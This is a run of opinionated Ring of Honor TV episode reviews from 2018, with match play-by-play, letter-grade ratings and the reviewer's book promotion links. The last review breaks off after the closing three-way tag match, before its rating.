Ring of Honor
Date: September 12, 2018
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Ian Riccaboni, Colt Cabana, Caprice Coleman

We have to be about done with Atlanta as we’re only two and a half weeks away from Death Before Dishonor, meaning Ring of Honor will only have one more week to waste time before starting its nothing push to the show. Tonight is a thirty minute Iron Man match for the World Title with Jay Lethal defending against Jonathan Gresham. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Mark Briscoe vs. Frankie Kazarian

We’re joined in progress with the fight already going hard as Kazarian hits a nice hiptoss neckbreaker. The slingshot Fameasser sets up the slingshot hurricanrana to put Mark down on the floor. Mark is right back with a Blockbuster off the apron but he stops to throw a barricade. Back in and Mark hammers away in the corner, only to get caught in a Backstabber. Kazarian’s slingshot dropkick in the corner has Briscoe in trouble and we take a break. We come back with Jay Briscoe at ringside and distracting Kazarian for a shot to the back. The Froggy Bow misses and Kazarian grabs a quick crucifix for the pin at 7:58.

Rating: D+. Just not enough time here and there’s no way around something like that. The feud has some legs and the Addiction vs. the Briscoes is fine for a pay per view Tag Team Title match. The Briscoes need competition and they’re as good of an option as anyone else. It’s not like there are many other options.

Post match the beatdown is on until Scorpio Sky runs in. Punishment Martinez comes in as well though and So Cal Uncensored is beaten down.

Clips of some recent attacks, which feels quite a bit like filler.

Here are some clips of a brawl between Cheeseburger and the Dawgs after a match, with Ian saying they’re keeping this short to make sure the Iron Man match gets its full time. You mean they don’t have the whole show structured down to the minute? I can’t grasp this. Cheeseburger gets beaten down but spits at Will Ferrara, who palm strikes him down.

Video on Bully Ray and Silas Young’s issues. After Ray turned on him last week, Young yelled at him in the back.

ROH World Title: Jay Lethal vs. Jonathan Gresham

Lethal is defending and it’s a thirty minute Iron Man match. Feeling out process to start, as you might have expected. Gresham gets taken into the corner but shoves Lethal away as they still haven’t really gotten going yet. Lethal works on a wristlock but gets taken down by the leg, which Gresham rolls into a headlock exchange. That leads to a standoff as they’re certainly taking their time here, as they should.

Gresham gets taken into the corner again and we take a break. Back with things getting a bit more heated with Gresham throwing a punch and getting chopped into the corner. A belly to back suplex gives Jay two and another suplex gets two more. We hit the sleeper for a few moments before another chop exchange goes to Jay. The announcer says fifteen minutes gone by, though I’ve got it closer to eleven. Gresham gets more intense and kicks the arm out, followed by a tilt-a-whirl armbar into a faceplant.

Back from another break with Gresham dropping the arm onto the apron. They get back in and it’s an armtrap headlock as Gresham is certainly focused. Gresham wraps both arms around his leg and cranks back as we hit twenty minutes (not quite seventeen by my clock). Back up and they chop it out again with Lethal getting the better of it, eventually enziguring Gresham as we take another break.

We come back again with Gresham being knocked down but slipping out of the Figure Four. Instead it’s the Lethal Combination for a close two. At twenty five minutes down, Gresham gets two off a bridging German suplex. A cross armbreaker is countered into a countered Figure Four attempt and Gresham slaps on the Octopus Hold for a tap at 22:58, though the clock is still all over the place. Gresham is stunned and Lethal goes right at him with three minutes remaining on the official clock. The Figure Four goes on and Gresham is in big trouble. After over a minute and a half in the hold, Gresham taps out at 25:23 to tie things up.

We’re told there’s a minute left so Gresham tries a bunch of rollups for two each until time expires at 26:41. Hang on though as Gresham wants five more minutes of sudden death and Lethal says start the clock. They strike it out with Gresham’s enziguri rocking Lethal. La majistral gives Gresham two as we’re a minute into overtime.

Lethal is right back with a torture rack and the top rope elbow for two with three minutes left. It takes some time to get back up until a pinfall reversal sequence takes us to two minutes left. Lethal knocks him down again though and the Lethal Injection retains the title at 33:25 (counting the break between regulation and the start of sudden death).

Rating: B-. Bad timing issues aside, this wasn’t all that great of a match and didn’t need to be under Iron Man rules. They did a good job of setting the match up well over the last few weeks but at the end of the day, it didn’t feel epic and was nowhere near as great as they tried to make it out to be. Lethal never felt like he was in danger and the overtime was pretty obvious given how much time was left in the show. It’s good, but really nothing that hasn’t been done better before.

Overall Rating: C+. They tried for something different here and it worked about as well as it was going to. The main event was good and is somewhat worth seeing, but it’s nothing that you can’t see done better elsewhere. Again though: the next pay per view is in less than three weeks and you would barely know it from this show. Why is that so hard to figure out around here?

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Ring of Honor

Ring of Honor
Date: August 1, 2018
Location: EagleBank Arena, Fairfax, Virginia
Commentators: Ian Riccaboni, Colt Cabana

Something finally happened last week as Jay Lethal became the Ring of Honor World Champion for the second time. That means things should certainly stabilize around here, but it doesn’t mean much if everything else doesn’t move forward. Death Before Dishonor is at the end of next month and while it’s not necessary to start building that show up just yet, they can’t wait too much longer. Let’s get to it.

Here are last week’s results if you need a recap.

We look at Lethal’s path back to the top and the title win last week. Lethal has grown on me so much over the last year or two that I was glad to see him win.

Opening sequence.

Kushida vs. Jonathan Gresham

This could be interesting. Kushida is dressed like Doc Brown from Back to the Future II and Cabana thinks it’s a spacesuit. So much for him being a good commentator. They grapple around to start (well duh) and no one can get anywhere other than to a standoff. A headlock works a bit better for Kushida but Gresham takes him down into one of his own. Kushida bails to the floor for a second, seemingly due to underestimating Gresham.

Back in and Gresham takes him down by the arm for one heck of a crank. The armbar is even turned into a rollup for two as the announcers talk about the talent on the upcoming UK tour. I get that you can’t call a lot of the technical stuff here, but explain some of the psychology, like Gresham trying to take Kushida down piece by piece, utilizing his advantage from Kushida underestimating him.

They go to a test of strength and flip to the mat with it, including a pair of rollups and the always cool looking double bridge. The pinfall reversal sequence gets a few one counts and we take a break. Back with a series of standing switches until Gresham hits a standing Lionsault for two. Gresham goes for the arm but Kushida rolls him up to escape and rolls through a DDT.

Back to the Future is broken up so Kushida settles for a failed Hoverboard Lock attempt. With the wrestling not getting them anywhere, they take turns smacking each other in the face. Kushida tells Gresham to hit him again and the forearm exchange is on. Gresham actually gets the better of it and German suplexes him for two. A legsweep sets up the Hoverboard Lock though and Kushida rolls into Back to the Future for the pin at 11:57.

Rating: B-. Kushida is my favorite New Japan guy so it’s not going to take much to impress me. Gresham is very entertaining for someone without anything to distinguish himself looks wise and you can always have the technical guy on the roster. He might not win anything big but it seems that they’re building to him getting closer and closer to that breakthrough win. Very nice technical display here, but that’s what you have to expect.

Gresham is frustrated by the loss and takes off his wrist tape. He does offer his hand though and Kushida shakes it.

Marty Scurll doesn’t like the idea of Shane Helms trying to come to Ring of Honor to make a name for himself. Helms is playing the part of a superhero but Scurll is the real villain.

Clip of the Briscoes retaining over the Young Bucks at Best in the World and then beating them down after the match. So Cal Uncensored came in for the save and beat up the Briscoes in a very unlikely face turn.

So Cal Uncensored talks about the lack of respect. Daniels says it started last year when he lost at Best in the World and the fans booed him. Now it’s time to start taking that out on everyone, including COO Joe Koff. They have a few months left here because Koff doesn’t respect them and in the twilight of his career, Daniels may have to look for a new home.

Over the next six months, they’re going to earn their spots around here because firing them would be the worst decision they could make. If that means becoming the new Tag Team Champions, the Briscoes are their next target. Kazarian asks what you would do if you knew your death was coming. Would you hold your loved ones tight or burn every bridge behind you?

They have that luxury now and they’re coming for the best tag team in Ring of Honor history. Scorpio Sky has worked his entire life to get here and if the team is out, he’s out too. Really good, intense stuff here as So Cal Uncensored has gotten a lot better in recent months and the next few should be great.

Video on Punishment Martinez.

Kugetsu/Hana Kimura vs. Jenny Rose/Mayu Iwatani

Mandy Leon is on commentary. Kugetsu gets double teamed to start and Iwatani hits a quick standing flip splash for two. Jenny gets sent outside and takes a suicide dive as we go to an early break. Back with Jenny getting crushed in the corner until a double clothesline bails her out. Mayu comes in with some dropkicks and a double springboard wristdrag. A double dropkick against the ropes has the villains (I think?) in trouble and an even harder baseball slide dropkick nails Kimura for two.

The frog splash misses and Hana hits a hard suplex, allowing for the double tag. Rose gets two each off a northern lights suplex and a top rope clothesline but Kugetsu pulls her into a cross armbreaker. A rope is enough for the save so Kugetsu grabs the referee, allowing Hana to hit Jenny with the Oedo Tai sign. Kugetsu kicks her in the head for two and a double big boot is good (I thought that was the finish). Instead of Samoan driver pins Rose at 9:57.

Rating: C+. If you give these people some characters or tell us a few things about them, I could easily get behind matches like this. It’s a very entertaining match and the four worked hard, but this division needs a top star to build around. For reasons that I don’t understand whatsoever, that spot has gone to Sumie Sakai instead of Tenille Dashwood.

We get some clips from after last week’s show with Lethal pouring out emotion over winning the title back. The title doesn’t mean he’s the greatest. It’s his prize for being the greatest. Bring on all the challengers.

Austin Aries joins commentary for the main event.

Six Man Tag Team Titles: Kenny King/Chuckie T./Eli Isom vs. Kingdom

The Kingdom is defending and have a good laugh at the idea of facing this thrown together team. The champs jump the challengers to start and stomp away on Isom, which Aries refers to as Isomlating him. Chuckie comes in and has some actual success, including Soul Food on Marseglia. Everything breaks down and with the Kingdom in the corner, the challengers celebrate with a three way hug.

Isom gets caught in the wrong corner again but comes out with an enziguri and tilt-a-whirl backbreaker. Marseglia pulls him right back off the ropes into a backbreaker of his own though and we take a break. Back with Isom hitting a jumping knee to the face and making the hot tag to King. A big corkscrew dive takes Marseglia down with Chuckie tagging himself in on the way over the top. O’Ryan gets suplexed into Marseglia in the corner, followed by a Falcon Arrow for two on Taven.

A series of kicks to the head give us a six way knockdown until Isom and Taven can get up. Isom knees him again but makes the mistake of going to Kingdom’s corner, where Marseglia pops a balloon in his face. Rockstar Supernova is broken up and Isom rolls Taven up for two in a near fall no one seems to buy. Marseglia and O’Ryan run back in though and Rockstar Supernova (with the two of them really adding nothing to Taven’s powerbomb) to retain at 7:56.

Rating: C. The challengers were trying here but there’s only so much you can do when three guys are teaming together for the second time, one of them is a jobber, and they’re up against a good team. That near fall had no heat but the match was entertaining and they were working hard, which is all you can hope for here.

Overall Rating: C+. Now that’s a bit more like it, even though this felt still a bit like another filler episode. The wrestling was quite good tonight and they had some promos to advance the stories. Just give us some star power already because the lack of it is making the show seem a lot less important, which is hurting the impact the better wrestling is having.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/07/23/new-book-kbs-complete-2003-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Ring of Honor Wrestling

Ring of Honor
Date: July 4, 2018
Location: Hammerstein Ballroom, New York City, New York
Commentators: Ian Riccaboni, Colt Cabana

We’re past Best in the World and there was a major moment at the TV tapings the next night, but no one has time for that because we have some one off shows to do first. For the life of me I don’t get why this is the best they can do, but hopefully they can keep it down to just a week or two this time. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Jonathan Gresham vs. Kenny King

Gresham goes for the arm to start but King actually takes over with an armbar of his own. You wouldn’t expect him to actually win a technical display but he even one ups that by winning on the mat. Back up and Gresham’s top wristlock works a bit better and he flips over into a crucifix for two. King goes back to what works for him with a double shoulder but some headlock takeovers annoy him all over.

We take a break and come back with King flipping Gresham off his back for a big thud. Gresham gets whipped hard into the corner and we hit an arm trap chinlock. King plants him but takes way too long trash talking before missing a springboard legdrop. Back up and Gresham scores with a running kick in the corner, followed by a running delayed dropkick.

A hard spinebuster gives King two but the Royal Flush is countered into a small package. They roll around exchanging small packages for a few near falls each and the fans are way into that, which I think I can get. A standing Lionsault drops King for no cover and they’re both down. King drops him on the back of his head though and the Royal Flush is good for the pin at 11:47.

Rating: C+. King played a good heel here and Gresham is someone who can wrestle against anyone so this was a rather nice TV match. They’re playing up the idea that Gresham can’t win the big match (if you consider King the big match) and that means he’s either turning heel soon (not a terrible idea but not needed) or he’s going to keep getting closer until he finally pulls it off. Either way, I’m more interested in Gresham than I was before.

In two weeks, there’s a six man tag team gauntlet for a shot at the Six Man Tag Team Titles. Oh sweet goodness how bad could the lineup be for that?

Josh Woods vs. Facade

Shane Taylor is on commentary. Woods wastes no time in rolling some gutwrench suplexes but the last one is countered with a hurricanrana. Facade kicks him in the face and hits a standing Lionsault (just like in the first match) to send Woods outside. Back in and Woods misses a running knee in the corner and gets kicked in the head again as Facade is moving around fast enough to mess with Woods’ timing.

A rope walk dropkick puts Woods on the floor again and a double springboard flip dive (with Woods waiting in one place way too long) drops him again. There’s a springboard bulldog for two and that’s enough for Woods, who comes back with Rolling Chaos Theory. A reverse AA is enough for the pin on Facade at 4:11.

Rating: C. Facade looked good for a high flier and his springboards were solid enough. He was a bit sloppy though and that’s not the best thing in the world. I do however like the way Ring of Honor gives people a shot like this and Facade made something of it. Woods is still trying to figure things out and get back on track after the Top Prospect Tournament but this wasn’t the best way in the world.

Post match Woods calls out Taylor and Shane agrees to fight here in New York. Actually hang on because Taylor isn’t fighting in front of these people for free. Wait Taylor is a heel? That seems to change far too often.

Earlier today, the Dawgs tried to get Taylor on their team for the gauntlet. They don’t knock though and offer an IOU, which doesn’t work for Taylor.

Cheeseburger is ready for a No DQ/No Countout match against Ray next week.

Matt Taven vs. Ultimo Guerrero

Oh it’s a post pay per view TV show for sure. No Vinny Marseglia with Taven and TK O’Ryan here and I don’t find that to be a bad thing. This is an old rivalry and Guerrero works a top wristlock to start. The fans give that a LUCHA LIBRE chant and it’s time for a standoff, complete with a lack of commentary for some reason. After chasing O’Ryan away, Guerrero sends Taven to the apron and baseball slides him out to the floor.

Taven gets thrown into the crowd and O’Ryan goes into the barricade to keep things even. Another whip sends Guerrero into the barricade as well and we take a break. Back with Guerrero fighting out of a chinlock but gets enziguried out to the floor. That sets up Taven’s great looking no hands dive but Guerrero steps to the side. Taven and O’Ryan are set on a chair for a big wipeout, followed by some rapid(ish) fire chops in the corner.

A super gordbuster gets two but Taven is right back with a knee to the face. Back again with Taven getting two off a Lionsault but having a super hurricanrana countered into a superbomb. A springboard enziguri drops Guerrero again but he’s right back up to catch Taven on top. Cue the red balloons and Marseglia from underneath the ring for a distraction though, allowing Taven to hit the Climax for the pin at 14:17.

Rating: C+. I’m not sure what to say about this. It wasn’t boring and the work was fine but Guerrero is more a treat for the live crowd and he’s not exactly the biggest name in the world. This really felt like a main event on a show you didn’t need to see and while it was fine, it’s really not a match that I need to see or really care about. Taven has gotten a lot better though.

Post match the Kingdom celebrates for a long time before Taven says he respects Guerrero. Just realize that you’re not as good as Taven of course.

Overall Rating: C. Oh yeah this was a post pay per view show. No major stars (Taven is close but I’m not seeing him as a top guy), no major stories, and a “big” main event that will mean nothing in about a week and isn’t likely to be referenced again. The worst part is we’ll do this again next week because we might be looking at the second half of the month before we FINALLY get something storyline driven. You get used to it, but that doesn’t make it any better.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Ring of Honor Wrestling

Ring of Honor
Date: June 13, 2018
Location: Odeum Expo Theater, Villa Park, Illinois
Commentators: Ian Riccaboni, Colt Cabana

We’re getting closer and closer to Best in the World and thankfully two of the biggest matches have already been announced. In this case that would be the World Title and Tag Team Title matches, though the Tag Team Titles are on the line tonight as well. If nothing else, hopefully we can get a good match without much possibility of drama. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Jonathan Gresham vs. Flip Gordon

Flip has to flip out of a wristlock to start and then flips away to avoid a leg sweep. That means a You Can’t See Me (Cabana: “Wrong TV show.”) and Gresham actually gives him credit. Gordon gets sent into the corner but Gresham isn’t exactly going right after him to follow up. The modified Octopus Hold has Gordon screaming in pain and Gresham turns it into an abdominal stretch to make things even better.

Flip gets out and dropkicks him to the floor, of course setting up the sky high dive to take Gresham out. Back from a break with an exchange of some loud chops and then a forearm off until Gordon kicks him in the head. Gresham’s springboard tornado DDT is countered into a Falcon Arrow for a slightly delayed two. The Star Spangled Stunner gives Gordon the pin at 8:51.

Rating: C. I’m surprised by the finish here as Gresham isn’t someone you would expect to be putting Gordon over. If nothing else this should give us more fuel towards the BOOK FLIP FOR ALL IN story, which is actually rather amusing and could lead to a good payoff. I can also go with Gordon using the Stunner as the finisher as he doesn’t need to flip around all the time.

Post match here’s Bully Ray to talk about Gordon. He didn’t know that Gordon’s family was from Montana, which is where Bully’s parents wanted to retire. When Ray’s mother died, he was in the process of buying his parents a ranch in Montana. When he was finishing up the purchase, his dad dies of a heart attack. Ray hands them pictures of his parents, which he had with him at the Hall of Fame induction.

He also found out that Gordon was in the Army, which means a lot to Ray. From now on, they have no heat and Ray wants to shake his hand. I won’t even bother suggesting that he’s being legit as he’s already kicked Gordon low by the time I finish the previous line. Gordon is just a young boy and Ray thinks he’s nothing.

Video on Kelly Klein vs. Deonna Purrazzo.

We look back at the end of last week’s show with Kenny King costing Austin Aries the TV Title and Aries beating him down after the match.

Kelly Klein vs. Deonna Purrazzo

Purrazzo is in street clothes and jumps Klein anyway, sending her into the steps. They head inside with Purrazzo trying an early Fujiwara armbar but getting rolled up for two instead. Purrazzo follows her to the floor and gets caught in a fall away slam to cut her off. Back from a break with Purrazzo rolling some German suplexes, capped off by a release to rock Klein again. A snap suplex that looked more like a brainbuster gets the same and there’s the Fujiwara armbar.

Klein is in the ropes so Purrazzo chops the heck out of her. One more armbar attempt goes badly though and Purrazzo is sent shoulder first into the post. A super fall away slam (without much elevation) gives Klein two and there’s a ref bump (which happens WAY too often around here). Purrazzo hits a cutter for no count and yells at the referee for being knocked down. Klein is back up and reverses the Fujiwara armbar into the End of the Match for the tap at 9:35.

Rating: C+. These are two of the best the division has and that’s not a good sign as they only had a fairly good match. The division has some talent but there’s a reason you rarely see most of the women outside of this company. When two of their best can only put up this kind of a match, they probably need to do something a little bit different as this wasn’t much to see.

Jay Lethal is facing Kushida at Best in the World. This was the announcement that he didn’t get to make last week.

Dalton Castle isn’t worried about facing two friends at the same time because he rages like a furnace. They should fear him.

Caprice Coleman is on commentary for the main event.

Tag Team Titles: Roppongi 3K vs. Briscoes

The Briscoes are defending. Jay and Mark won’t shake hands and jump their much smaller challengers before the bell. As usual, these guys are such great villains. Mark gets caught in the wrong corner to start with Yoh hitting a slingshot dive. Coleman says that new champions wouldn’t mean an upset here. Uh, time to go back to the pulpit Caprice. A double back elbow puts the champs in control though and we take a break.

Back with Jay dropkicking Yoh in the face but not bothering to cover. Mark goes up and gets dropkicked out of the air but Jay is right in to cut off the hot tag attempt. It’s back to Mark to rip at Yoh’s face but he takes too long to follow up, allowing the hot tag to Show. That means rolling German suplexes with a superkick setting up the bridging version for two. 3K (Dominator/sliding cutter combination) is broken up though and Jay kicks Sho in the face, sending us to our second break.

Back with Mark powerbombing Sho for two more and the champs aren’t happy. Jay superplexes Sho to set up the Froggy Bow for another near fall and Coleman is losing it on commentary. Yoh comes back in for some running forearms so Mark chops the heck out of the two of them. That’s fine with Roppongi, who hit double flip dives to take the champs out again. 3K hits Mark with Jay diving in for the save. Jay throws in a chair for a distraction though and Mark gets in the low blow. Sho gets choked out and the Jay Driller to Yoh retains the titles at 13:39.

Rating: B+. I had a heck of a time here with all four working hard and turning it into a really fun match. Roppongi 3K’s growth in just the last year is nothing but amazing as they’ve gone from some worthless jobbers to guys capable of having a really good tag match. Excellent main event here and one of the most exciting things ROH has done in awhile.

Overall Rating: A-. The main event alone carries this one as the first two matches, while fine, didn’t exactly have the most energy in the world. I’ll still take a fun, fast paced main event that caps off a solid hour of wrestling but I could have gone for some build towards Best in the World. At least Lethal vs. Kushida should be a lot of fun as we haven’t seen much from Kushida in recent months.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: Ring of Honor Wrestling

Ring of Honor
Date: May 9, 2018
Location: Stage AE, Pittsburgh, Pennsylvania
Commentators: Ian Riccaboni, Caprice Coleman

We’re on the road to Best in the World and I’m really not sure what that means at the moment. The show is in June but since Ring of Honor’s schedule is so all over the place, we might be getting a wide variety of stuff to set things up. Hopefully the show is at least good, which has been the case more often than not as of late. Let’s get to it.

Here are last week’s results if you need a recap.

Beer City Bruiser/Brian Milonas vs. Coast to Coast

The big guys are sent to the floor to start and Coast to Coast tries some stereo dives. Only Bruiser is taken down though as Milonas catches LSG but Ali is there with a dropkick to take them down. Things settle down with Bruiser knocking Coast to Coast to the floor right some forearms, only to miss the cannonball off the apron for a (very big) crash.

Back from a break with Ali in more trouble and Milonas hitting his falling splash. Another splash misses though and it’s off to LSG for some fast kicks. A 450 gets two on Milonas but Bruiser is back in with a Downward Spiral. Ali hits the same thing on Bruiser but Closing Time is broken up. Last Call connects instead with Ali diving in to make a save. Bruiser is sent outside and Coast to Coast hits Coast to Coast for the pin at 10:24.

Rating: C-. While the match wasn’t much, the ending was an absolute sigh of relief. This match needed to go to Coast to Coast as they’re starting to gain some momentum. The other team, as you may have noticed, is fat. That’s the extent of their characters and really, I could go for….oh just about anything else. Coast to Coast isn’t great but they’re better than those two and I’m glad ROH went with the right move here.

Jay Lethal is lost without gold and is ready to do whatever it takes to change that.

The Young Bucks are ready for one more match with the Briscoes in their Tag Team Title match next week.

Will Ferrara vs. Jonathan Gresham

Rhett Titus is on commentary and SOMEONE SHOOT ME NOW! Feeling out process to start and that’s a really bad idea from Ferrara’s perspective. Ferrara actually manages to take over with a wristlock as Titus keeps calling himself the Big Dog. Gresham can’t get out of the wristlock until a headscissors gets us to a standoff. Ferrara drops him again and we take a break.

Back with Ferrara working on the arm until Gresham uppercuts Ferrara’s arm in a nice counter. A running kick to the arm has Ferrara in more trouble but the Octopus Hold is broken up in short order. Ferrara takes him down with a clothesline and slaps on a cobra clutch Crossface of all things. Gresham makes the rope so it’s time for the slugout, which goes against the entire match they’ve been having so far. A German suplex gets two on Ferrara but la majistral into a bridging cradle ends Ferrara at 8:35.

Rating: C. Anything to get Titus off commentary. He and Ferrara are WAY too good at being the most annoying people in the promotion without having anything to back it up so they’re on the right path in one area at least. Gresham isn’t much more than he’s presented as and there’s nothing wrong with playing that role.

Post match the Dawgs beat on Gresham until the Motor City Machine Guns make the save.

Cody and Marty Scurll can’t agree on who should become the World Champion at Best in the World. Bullet Club is fine though.

So Cal Uncensored wants their belts back.

Shane Taylor is here to hurt people again. He doesn’t like having people like his opponent here tonight because that money could go in Shane’s pocket. That more money is Nova’s problem though.

Nova actually gets promo time, promising to scorch Taylor.

Shane Taylor vs. Ryan Nova

Kicks, two chokeslams and a Fire Thunder Driver are enough for the match to be stopped at 38 seconds.

War of the Worlds rundown.

Dalton Castle/The Boys vs. The Kingdom

Taylor is still at ringside and the Kingdom pays him for something. During the entrances, Castle and the Boys are ready for some chaos. TK O’Ryan hides from Dalton to start as Shane is sitting at ringside and guarding the Six Man titles. A shoulder puts O’Ryan down and there’s the first suplex to send him flying. Marseglia comes in and has to fight out of an early Julie Newmar attempt.

Instead Castle settles for another suplex and it’s off to the Boys with #1 climbing on #2’s shoulders to kick Marseglia in the face. #2 comes off the top with a missile dropkick for two but Marseglia takes him down by the leg. Taven comes in to face Castle chest to chest with Dalton sticking his out rather hard. A running kick to the chest in the corner has Taven in trouble and we take a break.

Back with Taven tripping Castle so Marseglia can take him down and going for the hand. Everything breaks down and the Boys dropkick Taven down. #1 gets triple stomped down as this just keeps going. A Saito suplex gets two on #1 and Taven adds a spinebuster. Cue Christopher Daniels to go after the titles but Shane shoves him down because money talks.

The Boys switch places (which works despite them having different color hair) in the melee, allowing #2 to kick O’Ryan in the head and bring in Castle. Everything breaks down and the Boys are tossed over the top rope multiple times each to take the Kingdom out over and over. Taven uses the distraction to hit Castle in the bad hand with a title, leaving #2 to take the Climax for the pin at 15:32.

Rating: D+. This was much longer than anything else, especially as a way to set up Taven vs. Castle at the major show later in the week. At least the side story with So Cal Uncensored and Shane wasn’t treated as a big deal that got a ton of time, but they’ve done worse things before. Not a terrible match but it was longer than it needed to be.

Post match the beatdown continues with Taven Pillmanizing Castle’s arm.

Overall Rating: C-. I wasn’t feeling this show as it was mainly stuff for future episodes or the upcoming week of big house shows, most of which aren’t exactly thrilling stuff. The main event really sucked the life out of the show though as it just went on too long and wasn’t all that good in the first place. Then again, Taven and the Kingdom aren’t interesting and that might have had a big part of the problem.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

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Ring of Honor
Date: January 24, 2018
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Ian Riccaboni, Colt Cabana, Cheeseburger

After last week’s fairly strong show, we’re back in Philadelphia for more fallout from Final Battle and the return of the Young Bucks to ROH TV. Other than that, it’s hard to say where we’re going, though some more information on the Women’s Title tournament would be nice. They’ve talked about the division for so long now but we still need some actual development. Let’s get to it.

Opening sequence.

Tag Team Titles: The Dawgs vs. Motor City Machine Guns

The Guns are defending and it’s Shelley vs. Ferrara to start. Alex runs Ferrara over early on as Cabana wants to know where Cheeseburger is keeping his fries. Hopefully away from any actual matches. Sabin gets in a running kick from the apron and it’s Titus getting caught in the middle of some hard strikes to the face. Sabin adds a dive through the ropes and it’s off to an early break.

Back with the Dawgs actually in control until Shelley kicks Ferrara in the face and sends them into each other. A belly to back suplex looks to set up the tag to Sabin but Titus is there to break it up. An STO sets up a frog splash but Rhett only hits mat, allowing Sabin to kick Ferrara in the face. Ferrara can’t get a tornado DDT and the Dawgs are sent into each other again. The Guns hit the Dream Sequence, followed by a bunch of kicks to Ferrara. A Death Valley Driver/Cradleshock combo finishes Ferrara at 7:38.

Rating: C. Nice quick win for the Guns here but you can tell it’s all about setting up the Briscoes as the next champions. I’m not a fan of the Dawgs whatsoever but they put in an acceptable performance here, which is a lot more than I would have expected from them. Giving the Guns a pretty easy win like this makes sense and that’s all it was supposed to be.

Post match the Briscoes come out to say they’re the next champs. They better be.

So Cal Uncensored pays off Shane Taylor to deal with the Bullet Club later tonight.

Kenny King is ready to get his TV Title back. I could go for that.

Josh Woods vs. Jonathan Gresham

Rematch from the Final Battle pre-show where Gresham won. They hit the mat to start with Gresham getting in a slap to the face as the announcers talk about the old Pure Wrestling Title, which Gresham seems to miss. Back up and Woods throws him into the corner, only to get caught with a running dropkick to the knee. Another kick to the face puts Woods down again and it’s off to a neck hold as we take a break.

Back with Woods blocking a monkey flip but getting pulled out to the floor anyway. Gresham tries to dive back in but lands on a shot to the face, followed by Woods kicking him in the jaw to keep Jonathan in trouble. Some rolling gutwrench suplexes into a powerbomb gives Woods two so he knees Gresham in the face. Back up and Gresham grabs a rollup, knees Woods in the back, and rolls him up even more for the same move he used to win the first match at 8:49.

Rating: C. Gresham has certainly set himself apart with the crazy technical stuff and that’s a good thing. There are a lot of technical guys around Ring of Honor and having someone be the best of the group is one of the best things he could do. Being the wrestler is fine for a gimmick, especially if your name and look are both so basic.

It’s time for Coleman’s Pulpit, this week with Coast 2 Coast, who are splitting up if they don’t win their next match. They don’t want to split but they’re ready to start from the bottom all over again. Neither wants to hold back people who deserve the spot more than they do but Coleman runs his mouth about Ali (who came up with the idea of splitting) being the weak link. Ali gets fired up and does a nice promo, only to be shut down when he finds out their opponents are War Machine. As usual, Coleman added nothing here and was just a person in the scene.

Here’s Cody for his first comments since losing the title. He stripped everything away from Dalton Castle and left him as just a man. That man happened to be better though and he took the title at Final Battle. Cody will get a rematch and still has the official Ring of Honor but here’s Matt Taven to interrupt. Taven says Cody isn’t fooling anyone and he sees Cody for the little blond b**** that he is.

Matt goes to leave but Cody mocks him for actually dropping the mic. Cody talks about his hair, which got a bigger pop at Final Battle than Taven will ever get in his life. That line alone almost turns Cody face and we get a CODY’S HAIR chant. Taven actually agrees to kiss the ring but kicks Cody low. Again, I can live with this kind of Taven instead of the weird unfunny kind. Cody as a face is fine too, though it’s quite the sudden turn, if that’s what they’re going for.

Punishment Martinez vignette.

Dragon Lee/Titan vs. Best Friends vs. Young Bucks

Two in the ring at a time. Titan and Chuckie chop it out to start with the fans enjoying the volume. Chuckie kicks him down but it turns into a battle of flips and spins, which of course goes to Titan. A springboard crossbody is dropkicked out of the air though and it’s off to Barretta for a big hug. The double elbow makes up for it a bit and we hit the BEST FRIENDS chant.

Lee gets in a kick from the apron and Titan adds a hurricanrana, only to have Nick come in for some springboards of his own on Lee. A rope walk into a twisting armdrag puts Lee down but since it’s only an armdrag, he’s right back up with a slingshot dropkick in the corner. The Bucks both come in for some Sliced Bread and tosses into a dropkick and hurricanrana. The fans love the Bucks of course and don’t mind a bit as they clear the ring for the Rise of the Terminators pose.

There’s a double suicide dive onto the Best Friends, followed by Lee suicide diving onto the Bucks, who just stand there while the luchadors set it up. Titan adds a huge moonsault to the floor but the Friends (after another hug) hit stereo dives onto all four. Barretta takes too long setting up the Two Dog Night though and it’s time for the superkicks. A double Sharpshooter from the Bucks takes us to a break.

Back with Lee blocking a super hurricanrana attempt and catching Nick with the Alberto Del Rio Tree of Woe stomp. It’s off to Barretta so the Best Friends get their own run of double teaming. The Lawn Dirt (reverse Razor’s Edge into a cutter) drops Nick but Titan is in with a springboard missile dropkick. Nick is right back up (shocking) with his suicide dive and moonsault, only to have Lee hurricanrana him off the apron.

A springboard frog splash gives Titan two on Barretta but Matt and Chuckie make a save. That means a rather awkward hug, much to Nick’s shock. Of course Chuckie is so MESMERIZED that he can’t avoid the incoming superkick. Lee tries a running hurricanrana but gets powerbombed onto the apron for his efforts. Nick dives onto Barretta before coming back in for the Meltzer Driver on Titan for the pin at 11:35.

